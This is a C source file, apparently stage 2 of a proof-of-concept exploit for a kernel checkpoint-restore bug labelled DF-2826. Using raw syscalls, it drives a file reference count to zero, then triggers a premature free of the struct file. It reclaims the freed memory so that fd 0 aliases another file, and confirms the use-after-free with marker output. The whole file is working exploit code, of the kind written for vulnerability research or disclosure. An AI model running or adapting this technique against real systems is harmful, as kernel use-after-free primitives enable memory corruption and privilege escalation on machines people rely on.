/*
 * DF-2826 stage-2: executes as the restored program after CKPT_THAW.
 * Demonstrates, in order:
 *   1. CKPT_THAW "succeeded" (we are alive at the restored RIP) even
 *      though elf_getfiles() aborted mid-restore.
 *   2. The stolen reference left the checkpoint file at f_count == 0
 *      while fd 0 still references it (zombie) -> first read(0)
 *      frees the struct file mid-use (premature free).
 *   3. The freed struct file is reclaimed by a new open() -> fd 0 now
 *      aliases a completely different file (cross-object UAF).
 *
 * Freestanding: no libc, raw syscalls, linked at 0x60000000.
 */
#define SYS_read	3
#define SYS_write	4
#define SYS_open	5
#define SYS_exit	1
#define SYS_close	6

static long
sys3(long n, long a, long b, long c)
{
	long r;
	__asm__ volatile("syscall"
	    : "=a"(r)
	    : "a"(n), "D"(a), "S"(b), "d"(c)
	    : "rcx", "r11", "memory");
	return r;
}

#define w(s) sys3(SYS_write, 1, (long)(s), sizeof(s)-1)

__asm__(".globl _start\n_start: jmp cstart\n");

void __attribute__((noreturn))
cstart(void)
{
	static const char path[] = "/tmp/df2826/dummy";
	static const char rpath[] = "/tmp/df2826/reclaim";
	char buf[128];
	long fd, rc, i;

	w("STAGE2: alive after CKPT_THAW (syscall reported success)\n");

	/* 12 cached fd ops on new descriptors -> LRU-evicts the fd0 cache
	 * entry, which drops the phantom reference: f_count 2->...->0 with
	 * fd0 still installed (zombie state). */
	for (i = 0; i < 12; i++) {
		fd = sys3(SYS_open, (long)path, 0 /*O_RDONLY*/, 0);
		if (fd < 0) {
			w("STAGE2: open dummy failed\n");
			sys3(SYS_exit, 41, 0, 0);
		}
		sys3(SYS_read, fd, (long)buf, 0);	/* cached holdfp op */
		sys3(SYS_close, fd, 0, 0);
	}

	w("STAGE2: fd0 should now be a zero-refcount zombie\n");

	/* This read(0) fhold()s the zombie (0->1), reads the *old* checkpoint
	 * file data (still intact), then fdrop() takes it to 0 -> the struct
	 * file is freed while fd0 still points at it. */
	rc = sys3(SYS_read, 0, (long)buf, 4);
	w("STAGE2: read(0) rc=");
	buf[10] = (char)('0' + (rc < 0 ? 9 : (rc > 9 ? 9 : rc)));
	buf[11] = '\n';
	sys3(SYS_write, 1, (long)(buf + 10), 2);
	if (rc == 4 && buf[0] == 0x7f && buf[1] == 'E' && buf[2] == 'L' &&
	    buf[3] == 'F') {
		w("STAGE2: zombie read returned ckpt-image bytes (\\x7fELF)\n");
	}

	w("STAGE2: fd0 now references freed memory; reclaiming...\n");

	/* Reclaim: falloc() reuses the just-freed M_FILE chunk (per-CPU
	 * LIFO). fd0 and the new fd then alias one struct file. Probe by
	 * reading through fd0 until we see the reclaim-file marker. */
	for (i = 0; i < 24; i++) {
		fd = sys3(SYS_open, (long)rpath, 0, 0);
		if (fd < 0)
			break;
		sys3(SYS_read, fd, (long)buf, 0);
		rc = sys3(SYS_read, 0, (long)buf, 14);
		if (rc == 14) {
			static const char ok[] = "MARKER-DF2826";
			int match = 1, k;
			for (k = 0; k < 13; k++)
				if (buf[k] != ok[k])
					match = 0;
			if (match) {
				w("STAGE2: UAF-ALIAS CONFIRMED: read(0) returned "
				  "the reclaim file's content:\nSTAGE2:   \"");
				sys3(SYS_write, 1, (long)buf, 13);
				w("\"\nSTAGE2: fd0 <-> fd of /tmp/df2826/reclaim "
				  "are the same struct file\n");
				sys3(SYS_exit, 42, 0, 0);
			}
		}
		sys3(SYS_close, fd, 0, 0);
	}
	w("STAGE2: no alias observed this run\n");
	sys3(SYS_exit, 43, 0, 0);
}
